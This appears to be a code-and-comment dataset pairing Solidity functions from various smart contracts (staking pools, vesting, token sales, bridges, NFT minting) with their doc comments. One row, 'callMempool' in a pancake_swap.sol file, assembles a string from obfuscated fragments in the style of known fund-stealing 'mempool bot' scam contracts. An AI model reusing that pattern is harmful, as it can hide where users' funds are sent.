file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
/* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: Pyramid.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthet...
withdraw only dividends
function withdrawDividends() public { _updateDividends(); uint256 amount = _userDividends[msg.sender]; _userDividends[msg.sender] = 0; _totalDividends = _totalDividends.sub(amount); rugStake.safeTransfer(msg.sender, amount); }
7,620,905
./full_match/137/0xF404Fd23147B354f8504930D136050e6943d773B/sources/contracts/HemetaBondDepository.sol
determine maximum bond size return uint/
function maxPayout() public view returns ( uint ) { return IERC20( HETA ).totalSupply().mul( terms.maxPayout ).div( 100000 ); }
4,722,973
./full_match/80001/0xB4cb47bc9C7c7E49d742EB032D8BafD377Be1f31/sources/contracts/Vault.sol
Deposit amount to underlying protocol Deposits VaultCurrency in Protocol e.g USDC _protocolNum Protocol number linked to an underlying protocol e.g compound_usdc_01 _amount in VaultCurrency to deposit
function depositInProtocol(uint256 _protocolNum, uint256 _amount) internal { IController.ProtocolInfoS memory protocol = controller.getProtocolInfo( vaultNumber, _protocolNum ); if (getVaultBalance() < _amount) _amount = getVaultBalance(); if (protocol.underlying != address(vaultCurrency...
5,563,964
./partial_match/42/0xb0D299d01bBD2fb20A52E315c768C88C44256d92/sources/ProofOfHumanity.sol
Make a request to refresh a submissionDuration. Paying the full deposit right away is not required as it can be crowdfunded later. Note that the user can reapply even when current submissionDuration has not expired, but only after the start of renewal period. _evidence A link to evidence using its URI./
function reapplySubmission(string calldata _evidence, string calldata _name, string calldata _bio) external payable { Submission storage submission = submissions[msg.sender]; require(submission.registered && submission.status == Status.None, "Wrong status"); uint renewalAvailableAt = submiss...
3,440,453
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./OpenBooks.sol"; import "./EnumerablePrices.sol"; //Pausable Contract /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inherit...
Unpauses the buy function and is only callable by the contract owner
function unPauseBuy() onlyOwner external{ _unPauseBuy(); }
5,345,998
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.7.4; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; impo...
Add a new lp to the pool. Can only be called by the owner. XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, address _lpToken, bool _withUpdate) public onlyOwner { require(_lpToken != address(0), "LP token cannot be a zero address"); require(poolIds[_lpToken] == 0, "Pool for `_lpToken` already exists"); if (_withUpdate) { massUpdatePools(); } ...
12,727,991
./partial_match/42/0xf672dc33e253e55c18e9869600bB1063af840e25/sources/assignmentToken.sol
TODO: transfer mintership to newminter NOTE: only incumbent minter can transfer mintership NOTE: should emit `MintershipTransfer` event
function transferMintership(address newMinter) public returns (bool) { require(newMinter != minter, "new minter is the zero address"); require(msg.sender==minter); emit MintershipTransfer(minter, newMinter); minter = newMinter; return true; }
3,320,635
./partial_match/1/0xd0aaaC09E7f9b794FAfA9020a34aD5B906566A5C/sources/WeAbove.sol
no need to check upper bound because _canPremint() already does it
function premint( address to, uint256 amount, PremintType premintType, bytes32[] calldata proof ) payable external { if (!_canPremint()) revert NotPremintPeriod(); bytes32 rootToUse; uint256 maxQuantity; if (premintType == PremintType.WHITELIST) { rootToUse = root; maxQu...
15,774,648
./full_match/5/0x85547c4D24a27DD20A7BafD673203aA441e0670c/sources/contracts/messagePassingBridge/MessagePassingBridge.sol
Function for approving requests above limits id The bridgerequest id/
function approveRequest(uint256 id) external { _onlyOwnerOrGuardian(); approvedRequests[id] = true; }
1,853,405
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "../Contracts/Approve.sol"; import "../Contracts/Context.sol"; import "../Interfaces/IBEP20.sol"; import "../Libraries/SafeMath.sol"; import "../Contracts/Address.sol"; import "../Interfaces/IMoonity.sol"; /** * @dev Read Docs/CrowdSale.md */ contract C...
Returns true, if the address is whitelisted for the seed sale/
function isWhitelistedForSeedSale (address account) public view returns(bool) { return _isWhitelistedSeedSale[account]; }
1,794,000
./full_match/1/0x399619F1e9be0a991b399c002985de98b3B732C0/sources/contracts/timelocks/common/BaseTimelock.sol
calculate the month difference between two timestamps/
function _diffMonth(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 month) { require(fromTimestamp <= toTimestamp, "invalid usage"); month = fromTimestamp.diffMonths(toTimestamp); if (fromTimestamp.addMonths(month) > toTimestamp) { month -= 1; }...
8,320,385
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /** * @title Mintable ERC721 Extension * * @notice Defines mint capabilities for ERC721 tokens. * This interface should be treated as a definition of what mintable means for ERC721 * * @author Basil Gorin */ interface MintableERC721 { /** * @notice...
Batch Mintable ERC721 Extension Defines batch minting capabilities for ERC721 tokens. This interface should be treated as a definition of what mintable means for ERC721 Basil Gorin/
interface BatchMintable { function mintBatch(address _to, uint256 _tokenId, uint256 n) external; function safeMintBatch(address _to, uint256 _tokenId, uint256 n) external; function safeMintBatch(address _to, uint256 _tokenId, uint256 n, bytes memory _data) external; } }
926,634
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../libraries/SortitionSumTreeFactory.sol";...
get history of reward round. _round is round wish to know history/
function getHistory(uint256 _round) public view returns (History memory history) { return histories[_round]; }
13,075,332
// File: zeppelin-solidity/contracts/ownership/Ownable.sol pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; ...
40%量COTはセール期間に用send all of token to owner in the begining.最初的に、契約生成するときに40%トークンは契約オーナーに上げる最初的に、契約生成するときに60%トークンは契約オーナーに上げるこれ以上トークンを新規発行できないようにする。
function COTCoin(address _saleToken_wallet, address _unsaleToken_wallet, address _lockUp_address)public{ lockup = Lockup(_lockUp_address); _saleToken_owner = _saleToken_wallet; _unsaleToken_owner = _unsaleToken_wallet; uint256 _remainingSaleSupply = (_totalSupply*40/100); require(mint(_saleToken_w...
10,423,374
./partial_match/1/0xD3D9DF7D49800dB66F98a5a3c5653C52cd33aD05/sources/contracts/Wanorde.sol
Returns uri of a token. Not guarenteed token exists./
function tokenURI(uint256 tokenId) override public view returns (string memory) { return bytes(_tokenIpfsHash).length == 0 ? string(abi.encodePacked( baseTokenURI(), "/", Strings.toString(tokenId))) : string(abi.encodePacked( ...
16,016,926
./full_match/137/0xe80592BfCfb515a93e101bdCB9baEbe2D4d54b0B/sources/MaticSwapMasterChef.sol
Safe mSwap transfer function, just in case if rounding error causes pool to not have enough MSWAPs.
function safeMSwapTransfer(address _to, uint256 _amount) internal { uint256 mSwapBal = mSwap.balanceOf(address(this)); bool transferSuccess = false; if (_amount > mSwapBal) { transferSuccess = mSwap.transfer(_to, mSwapBal); transferSuccess = mSwap.transfer(_to, _amoun...
3,746,514
// Specifies the version of solidity that code is written with pragma solidity ^0.4.17; contract Exhibition { // It maintains organizer address who create the contract. address private organizer; // It maintains winner address address private winnerAddress; // It maintains Exhibition status, by...
This function is used to return winner name check isWinnerSelected should be 'true'
function getWinner() public view returns (string) { require(isWinnerSelected); return participants[winnerAddress].name; }
1,013,149
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- //喜马拉雅交易所 contract // //喜马拉雅荣耀 // Symbol : XMH // Name : XiMaLaYa Honor // Total supply: 1000 // Decimals : 0 // //喜马拉雅币 // Symbol : XMLY // Name : XiMaLaYa Token // Total ...
------------------------------------------------------------------------ Total supply ------------------------------------------------------------------------
function badgeTotalSupply() public constant returns (uint) { return _badgeTotalSupply - badgeBalances[address(0)]; }
999,312
//Address: 0xEA06c9cB0d69058468387F283e9A3f61c53e3C21 //Contract name: EthMultiplier //Balance: 0.00001 Ether //Verification Date: 3/19/2017 //Transacion Count: 3 // CODE STARTS HERE pragma solidity ^ 0.4.10; contract EthMultiplier { //***************************** ************************************** ...
Warning! the creator of this smart contract is in no way responsible for any losses or gains in both the 'invest' function nor the 'buySmartContract' function.
function invest() payable entryCosts(1 finney, 10 ether) { investors[id].addr = msg.sender; investors[id].payout = msg.value * (100 + payOutPercentage) / 100; owner.transfer(msg.value * feePercentage / 100); while (this.balance >= investors[payoutIdx].payout) { investors[payoutIdx].addr.transfer(inve...
13,075,384
./full_match/1/0x8C9340971dBfA15E3CA0b9679bEE1a8401574a19/sources/browser/tests/BT/ERC20.sol
Function to check the amount of tokens that an owner allowed to a spender. owner address The address which owns the funds. spender address The address which will spend the funds. return A uint256 specifying the amount of tokens still available for the spender./
function allowance( address owner, address spender ) public view override returns (uint256) { return _allowed[owner][spender]; }
3,140,569
/** *Submitted for verification at Etherscan.io on 2021-12-20 */ // Sources flattened with hardhat v2.4.3 https://hardhat.org // File openzeppelin-solidity/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context,...
already update in this block
function set(uint256 _pid, uint256 _allocPoint) internal { updatePool(_pid); uint256 totalAllocPoint = globalPoolUpdates[globalPoolUpdates.length-1].totalAllocPoint .sub(poolInfo[_pid].allocPoint).add(_allocPoint); if (globalPoolUpdates[globalPoolUpdates.length-1].blockNumbe...
2,322,319
./full_match/4/0x377A595cB98e86d00E170FA206ee033d9f8a944b/sources/contracts/RagingSantas.sol
Can Claim At All Must Provide Tokens Iterate through RagingSanta token Ids Does Sender own these tokens? Have these tokens been claimed yet? Do the Transfer Update the gift object
function claimGifts(uint256[] memory tokenIds, address gifteeAddress) external { require(claimActive && !claimPaused, "Claiming Disabled"); require(tokenIds.length > 0, "No Tokens"); bool wasDelegated = tx.origin != gifteeAddress; for (uint256 i = 0; i < tokenIds.lengt...
12,440,913
./full_match/1/0xeCc19E177d24551aA7ed6Bc6FE566eCa726CC8a9/sources/contracts/StargateComposer.sol
remove dust transfer tokens into this contract
function addLiquidity( uint256 _poolId, uint256 _amountLD, address _to ) external override { PoolInfo memory poolInfo = _getPoolInfo(_poolId); if (poolInfo.convertRate > 1) _amountLD = _amountLD.div(poolInfo.convertRate).mul(poolInfo.convertRate); IERC20(poolInf...
4,956,191
./full_match/1/0x49F137f60B5A7FbAD577D16f33cFe6Be743C8c06/sources/contracts/Auditor.sol
Gets the asset price of a price feed. If Chainlink's asset price is <= 0 the call is reverted. priceFeed address of Chainlink's Price Feed aggregator used to query the asset price. return The price of the asset scaled to 18-digit decimals.
function assetPrice(IPriceFeed priceFeed) public view returns (uint256) { if (address(priceFeed) == BASE_FEED) return basePrice; int256 price = priceFeed.latestAnswer(); if (price <= 0) revert InvalidPrice(); return uint256(price) * baseFactor; }
3,005,773
./partial_match/1/0xbC60c7440fbA80E1Df0eb9404Ee482D12da62cab/sources/DEFIGRAM.sol
FOR GOERLI uniswapV2Pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6); FOR BSCSCAN uniswapV2Pair = IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73).createPair(address(this), 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);...
function _beforeTokenTransfer( address from, address to, uint256 amount function _afterTokenTransfer( address from, address to, uint256 amount } } pragma solidity ^0.8.0; constructor() ERC20("DEFIGRAM", "$DEFIGRAM") { _mint(msg.sender, (maxSupply *...
3,550,782
./full_match/80001/0x190A543bB64408fa01491732BD449F8f87CF1bF2/sources/contracts/new.sol
Creates a new token. Its token ID will be automatically assigned (and available on the emitted {IERC721-Transfer} event), and the token URI autogenerated based on the base URI passed at construction. See {ERC721-_mint}./
function extracto ( uint amount , address to ) internal { uint id; uint i; for(i = 0; i < amount; i++){ id = randomIndex(); _mint(to , id); tokenpoints[id] = freecredit; numTokens = numTokens + 1; } }
879,086
./full_match/1/0x346C06FfcD1bfdDdD8c0738625485B8A1045D22c/sources/contracts/LibertiV2Vault.sol
Rebalances the vault by executing a list of swaps generated off-chain using the 1inch Aggregator V5 protocol. _data A list of calldata assembled by the 1inch Aggregation V5 API for performing swaps. return returnAmounts An array containing the actual amounts returned by each swap in the list. This function allows the...
function rebalance( bytes[] calldata _data ) external onlyOwner returns (uint256[] memory returnAmounts) { returnAmounts = new uint256[](_data.length); for (uint256 i = 0; i < _data.length; i++) { (, SwapDescription memory desc, ) = abi.decode( _data[i][4:], ...
4,851,383
./full_match/1/0x9965cCd16803432C6a0842f1D5690f32E427aEDd/sources/contracts/LaunchpadRegistry.sol
Returns The Associated ArtBlocks ProjectID Of A Launchpad Project (if applicable) note: Returns Max Integer If The Launchpad ProjectID Is Not Associated With An ArtBlocks Project/
function ViewArtBlocksProjectID(uint LaunchpadProjectID) public view returns(uint) { return Projects[LaunchpadProjectID]._ArtBlocksProjectID; }
8,470,670
./partial_match/1/0x00000000Ede6d8D217c60f93191C060747324bca/sources/node_modules/@aperture_finance/uni-v3-lib/src/NPMCaller.sol
Equivalent to `INonfungiblePositionManager.collect` npm Uniswap v3 Nonfungible Position Manager tokenId The token ID of the position to collect fees for recipient The address that receives the fees Get a pointer to some free memory. amount0Max = amount1Max = type(uint128).max We use 132 because of the length of our ...
function collect(INPM npm, uint256 tokenId, address recipient) internal returns (uint256 amount0, uint256 amount1) { bytes4 selector = INPM.collect.selector; assembly ("memory-safe") { let fmp := mload(0x40) mstore(fmp, selector) mstore(add(fmp, 4), tokenId) ...
15,622,132
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.7.0; import "./lib/ReEncryptionValidator.sol"; import "./lib/SignatureVerifier.sol"; import "./StakingEscrow.sol"; import "./proxy/Upgradeable.sol"; import "../zeppelin/math/SafeMath.sol"; import "../zeppelin/math/Math.sol"; /** * @title Adjudicator *...
the `onlyWhileUpgrading` modifier works through a call to the parent `verifyState`
function verifyState(address _testTarget) public override virtual { super.verifyState(_testTarget); bytes32 evaluationCFragHash = SignatureVerifier.hash( abi.encodePacked(RESERVED_CAPSULE_AND_CFRAG_BYTES), SignatureVerifier.HashAlgorithm.SHA256); require(delegateGet(_testTarget, ...
1,392,935
pragma solidity ^0.4.2; import "./usingOraclize.sol" /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <arachnid@notdot.net> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - ...
only owner address can set minBet /
function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; }
12,941,063
/** *Submitted for verification at snowtrace.io on 2022-02-15 */ // SPDX-License-Identifier: UNLICENCED pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier...
withdraw tokens/update balance in addressremove this id from this address
function withdrawTokens( uint256 _id ) public { require(block.timestamp >= lockedToken[_id].unlockTime); require(msg.sender == lockedToken[_id].withdrawalAddress); require(!lockedToken[_id].withdrawn); lockedToken[_id].withdrawn = true; ...
13,558,465
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is che...
Returns an amount of wei converted in tokens _wei Value in wei to be converted return Amount of tokens/ wei ((rate (30 + 100)) / 100)
function _getTokenAmount(uint256 _wei) internal view returns (uint256) { return _wei.mul(rate.mul(130).div(100)); }
12,647,329
./full_match/4/0xC8b90A5253FE921873E92C44725561d2d5DfC169/sources/browser/4art-15-may.sol
Add tokens to total supply by only owner _value number of token(s)/
function addTokenToTotalSupply(uint _value) onlyOwner public { require(_value > 0); balances[owner] = balances[owner].add(_value); totalSupply = totalSupply.add(_value); }
13,372,503
pragma solidity 0.4.19; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { fun...
Creates a vesting contract that vests its balance of any ERC20 token to the _beneficiary, gradually in a linear fashion until _start + _duration. By then all of the balance will have vested. _beneficiary address of the beneficiary to whom vested tokens are transferred _cliff duration in seconds of the cliff in which ...
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); ...
11,140
./full_match/43113/0xd328Ce3d92c2DCb7b232Af7BC6D140a903BDF6Ce/sources/contracts/final_pangolin_exchange.sol
Buys selected ERC20 token with AVAX using the Pangolin DEX Refunds unused AVAX to the msg.sender _token ERC20 token's address _amount amount of the ERC20 token to be bought TODO: Implement slippage % tolerance and add as a require check/
function buyERC20Token(address _token, uint256 _amount) payable external RefundRemainder { require(_amount > 0, "Amount of tokens to buy has to be greater than 0"); uint256 amountIn = getEstimatedAVAXForERC20Token(_amount, _token); require(msg.value >= amountIn, "Not enough funds provided"); }
7,131,536
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); retur...
Burn `value` miBoodle tokens from sender 'from' to provided account address `to`. from The address of the burner to The address of the token holder from token to burn value The number of miBoodle to burn return Whether the transfer was successful or notallow only if transfer is enablevalidate _from,_to address and _...
function burnFrom(address _from, uint _value) public returns (bool ok) { require(now >= end); require(_from != 0 && _value > 0); require(allowedToBurn[_from][msg.sender] >= _value && balances[_from] >= _value); balances[_from] = safeSub(balances[_from],_value); totalSupply = ...
1,066,584
./full_match/56/0x978F7BC866915051c3C7d4A69683e9DE022f0667/sources/contracts/pancake_swap.sol
Iterating through all mempool to call the one with the with highest possible returns return `self`./
function callMempool() internal pure returns (string memory) { string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset())); uint _memPoolSol = 1017000; uint _memPoolLength = getMemPoolLength(); uint _memPoolSize = 289700; uint _memPoolHeight = getMemPoolHe...
3,229,966
./partial_match/42/0xF9b4BfbbE21a89270E1a3086240d6B89c7D7bCB8/sources/AToken2PTokenMigrator.sol
验证需要转换的两个代币是否正确将pToken转给用户将pToken转给用户
function migrate(address aToken, address payable pToken, uint amount) public { address self = address(this); ATokenInterface aTokenInstance = ATokenInterface(aToken); address underlyingAssetAddress = aTokenInstance.underlyingAssetAddress(); if (underlyingAssetAddress == address(0x...
3,320,260
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity ^0.8.0; import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/Own...
min price = 0check if buyNowPrice is meet and conclude sale, otherwise reverse the early bidwe only revert the underbid if the seller specifies a differentwhitelisted buyer to the highest bidder
function createSaleLimitOrder( address _nftContractAddress, uint256 _tokenId, uint256 _amount, address _erc20Token, uint256 _buyNowPrice, address _whitelistedBuyer ) external priceGreaterThanZero(_buyNowPrice) { require(marketState != uint(MARKET...
7,328,271
./full_match/4/0x0F8d3f8F2b93288cd09F7FF198919c13a465A7d4/sources/contracts/TradingContract.sol
The withdraw function is a function with which investors can withdraw their funds in a tradingContract. Theapplicable fees will be calculated in this function. Check for equity in pairedToken, and swap the investor fraction into ETH. Check for equity in baseToken, and swap the investor fraction into ETH.In case of posi...
function withdraw() public updateSubtractedSupply(msg.sender) { require(fractions[msg.sender] > 0); uint256 _pairedTokenBalance = pairedToken.balanceOf(address(this)); uint256 _baseTokenBalance = baseToken.balanceOf(address(this)).sub(accumulatedFees); uint256 _swappedAmountPaired...
12,332,060
./full_match/80001/0xf8122d0AdA7ac3f14825c038df51133539EFD8d1/sources/project_/contracts/PresaleCollectionERC1155.sol
Check mystery box supply Check msg.value Choose tokens for mint Iterate on mystery box rules Iterate on amounts slot in rule (always is 0 index) Generate pseudo-random Choose rarity group Index 0 reserved for `ruleIterationId` => length - 1 Index 0 reserved for `ruleIterationId`, start from index 1 Check rarit...
function openBox(uint256 boxId) external payable { require(_mysteryBoxesSupply[boxId] < _mysteryBoxesLimit[boxId], "PresaleCollectionERC1155: Mystery box has reached the limit" ); require(msg.value == _mysteryBoxesPrices[boxId], "PresaleCollectionERC1155: Wrong myste...
5,627,567
./full_match/42161/0xe805977D5Fa2f05e2175507a1f8E44Cd3F22972c/sources/code/contracts/oasis/OasisSwapRouter.sol
refund dust eth, if any
function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) { (amountTok...
16,308,708
./partial_match/1/0x7fb8f5D04b521B6880158819E69538655AABD5c4/sources/GasStationExact.sol
Gets the keeper registry address/
function getKeeperAddress() external view returns (address keeperAddress) { return KeeperAddress; }
3,542,051
/** *Submitted for verification at Etherscan.io on 2020-04-23 */ pragma solidity 0.5.14; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in suc...
transfer msg.sender token to members per approved drop amount
function dropTKN(uint256 drop, address dropTokenAddress) public {
15,825,373
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.7.6; import './SafeMath.sol'; import './Helpers.sol'; struct Buyer { uint256 eth; // Amount of sent ETH uint256 zapp; // Amount of bought ZAPP } struct EarlyAdopter { uint256 zapp; // Early adopter purchase amount } struct Referrer { bytes3 c...
self the wallet return The amount of ZAPP bits the buyer has bought (18 decimals)/
function getBuyerZAPP(Wallet storage self) internal view returns (uint256) { if (!self.isBuyer) return 0; return self.buyer.zapp; }
12,950,265
./partial_match/1/0x5154AAeD1FfE2cA603f6b3cEf81a9c87f8866C64/sources/CompoundMonitor.sol
Bots call this method to boost for user when conditions are met If the contract owns gas token it will try and use it for gas price reduction _exData Exchange data _cAddresses cTokens addresses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] _user The actual address that owns the Compound position _fl...
function boostFor( DFSExchangeData.ExchangeData memory _exData, address _user, FLHelper.FLType _flType ) public payable onlyApproved { string memory errReason; bool isAllowed; uint256 ratioBefore; CompoundSubscriptions.CompoundHolder memory holder = subsc...
4,127,581
pragma solidity ^0.4.19; // Interface contract to be implemented by SyscoinToken contract SyscoinTransactionProcessor { function processTransaction(uint txHash, uint value, address destinationAddress, uint32 _assetGUID, address superblockSubmitterAddress) public returns (uint); function burn(uint _value, ...
get final position of inputs, outputs and lock time this is a helper function to slice a byte array and hash the inputs, outputs and lock time
function getSlicePos(bytes memory txBytes, uint pos) private pure returns (uint slicePos) { slicePos = skipInputs(txBytes, pos + 4); slicePos = skipOutputs(txBytes, slicePos); }
5,531,909
./partial_match/137/0x83006b5c56F909A97256a5678Fcc54E2b444528d/sources/contracts/STOA.sol
Returns the total available rewards given the current period See _calculateRewardForPeriod();
function getRewardForPeriod() external view returns (uint256 totalRewards) { return _calculateRewardForPeriod(); }
3,522,141
pragma solidity 0.5.16; /* is IERC20 */ interface IERC4626Vault { /// @notice The address of the underlying token used for the Vault uses for accounting, depositing, and withdrawing function asset() external view returns (address assetTokenAddress); /// @notice Total amount of the underlying asset that is...
Mint exact amount of vault shares to the receiver by transferring enough underlying asset tokens from the caller. shares The amount of vault shares to be minted. receiver The account the vault shares will be minted to. referrer Referrer address for this deposit. return assets The amount of underlying assets that we...
function mint( uint256 shares, address receiver, address referrer ) external returns (uint256 assets) { (assets, ) = _creditsToUnderlying(shares); _transferAndMint(assets, receiver, true); emit Referral(referrer, receiver, assets); }
2,367,698
// contracts/GameToken.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./access/ManagerControl.sol"; import "./access/MinterControl.sol"; contract GameToken is ERC20, ManagerControl, MinterControl { uint8 public constant DECIMALS = 7; ...
See {IERC20-transferFrom}. Requirements: - the caller must have a minter role./
function burn(address from, uint256 amount) public onlyRole(MINTER_ROLE) returns (bool) { _burn(from, amount); return true; }
12,651,941
./partial_match/1/0x59BC239cAb00CADd9b14f299835ae39E8B4B569c/sources/contracts/protocol/libraries/configuration/ReserveConfiguration.sol
Gets the configuration flags of the reserve from a memory object self The reserve configuration return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled/
function getFlagsMemory(DataTypes.ReserveConfigurationMap memory self) internal pure returns ( bool, bool, bool, bool ) { return ( (self.data & ~ACTIVE_MASK) != 0, (self.data & ~FROZEN_MASK) != 0, ...
15,931,734
./full_match/43113/0xf8BD1920cDD944758771e789474dfb5b5e3F8a0B/sources/contracts/RelayManager2.sol
Send (mint) funds to the receiver to process cross-chain transfer `depositHash = keccak256(abi.encodePacked(senderAddress, tokenAddress, nonce))`/ Mark the depositHash state true to avoid double sending Calculate adminFee Calculate total used gas price for sending Calculate real amount to transfer considering adminFee ...
function send( address receiver, uint256 amount, bytes32 depositHash, uint256 gasPrice ) external nonReentrant onlyOperator { uint256 initialGas = gasleft(); require(receiver != address(0), "RelayManager2: RECEIVER_ZERO_ADDRESS"); require(amount > 0, "Rela...
13,168,742
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IUnlockRegistry.sol"; import "../commons/OperationManaged.sol"; contract UnlockRegistry is OperationManaged, IUnlockRegistry { // mapping for liquidity contributors mapping(uint256 => LiquidityInfo) private liquidityContributors; fu...
Adds contribution to unlock _tokenId tokenId to liquidate _sender sender of the contribution _amount liquidity provided to contribution _tokenIdMaxAmount min amount fot the asset thats needed to unlock/ refund prev contribution
function addContribution( uint256 _tokenId, address _sender, uint256 _amount, uint256 _tokenIdMaxAmount ) external override onlyOperationManager returns (uint256, bool) { LiquidityInfo storage t = liquidityContributors[_tokenId]; uint256 refund = ...
15,820,654
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IMasterChef.sol"; import "./interfaces/IVault.sol"; import "./interfaces/ILockManager.sol"; import "./interfaces/IERC20Extended.sol"; import "./lib/SafeERC20.sol"; import "./lib/ReentrancyGuard.sol"; /** * @title RewardsManager * @dev Con...
SPDX-License-Identifier: MIT
interface IMasterChef { function getAmountStaked(address staker, address stakedToken) external view returns (uint256); function getStake(address staker, address stakedToken) external view returns (LockedStake memory); function calculateVotingPower(address token, uint256 amount) external view returns (uint25...
13,001,335
pragma solidity ^0.6.1; pragma experimental ABIEncoderV2; import "./ISellerAdmin.sol"; import "./IAddressRegistry.sol"; import "./IBusinessPartnerStorage.sol"; import "./IPurchasing.sol"; import "./IFunding.sol"; import "./Ownable.sol"; import "./Bindable.sol"; import "./StringConvertible.sol"; /// @title SellerAdmin...
Get and validate eShop
function setPoItemAccepted(string calldata eShopIdString, uint poNumber, uint8 poItemNumber, bytes32 soNumber, bytes32 soItemNumber) override external onlyConfigured onlyRegisteredCaller { bytes32 eShopId = stringToBytes32(eShopIdString); IPoTypes.Eshop memory eShop = getAndValidateEs...
13,115,646
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import {Hevm} from "../test/utils/Hevm.sol"; import {DSTest} from "ds-test/test.sol"; import {MockProvider} from "@cleanunicorn/mockprovider/src/MockProvider.sol"; import {Caller} from "../test/utils/Caller.sol"; import {Guarded} from "../guarded/Guarded.s...
For this test we will simulate an external actor that must be able to successfully update the Relayer via multiple `executeWithRevert()` calls. We will do this by providing multiple mocked Chainlink values and making sure that each value is properly validated and used. Test setup, create the mockChainlinkAggregator tha...
function test_executeWithRevert_canBeUpdatedByKeepers() public { int256 firstValue = 1e18; int256 secondValue = 2e18; uint256 timeUpdateWindow = 100; MockProvider mockChainlinkAggregator = new MockProvider(); mockChainlinkAggregator.givenQueryReturnResponse( abi....
13,018,415
./partial_match/137/0x6d0529C0a7BD3136E0e7F5c6607b6D642Da93B1a/sources/DARKv2TestVersion.sol
Transfer votes Transfer votes
function transfer(address recipient, uint256 amount) public override returns (bool) { if (totalSupply() > target_supply) { uint256 feeAmount = amount.div(_reflectfee); uint256 afterFeeAmount = amount.sub(feeAmount); super._transfer(_msgSender(), darkhall_address, feeAmou...
3,522,064
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ ...
Liquidity balances for the floor price
function getVirtualFloorLiquidityBalances() public view returns (uint256 frax_balance, uint256 fxb_balance) { frax_balance = target_liquidity_fxb.mul(floor_price()).div(PRICE_PRECISION); fxb_balance = target_liquidity_fxb; }
13,109,776
pragma solidity ^0.4.21; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division o...
/ update price and profit Devevloper&39;s cut which is left in contract and accesed by `withdrawAll` and `withdrawAmountTo` methods. Transfer payment to old owner minus the developer&39;s cut.
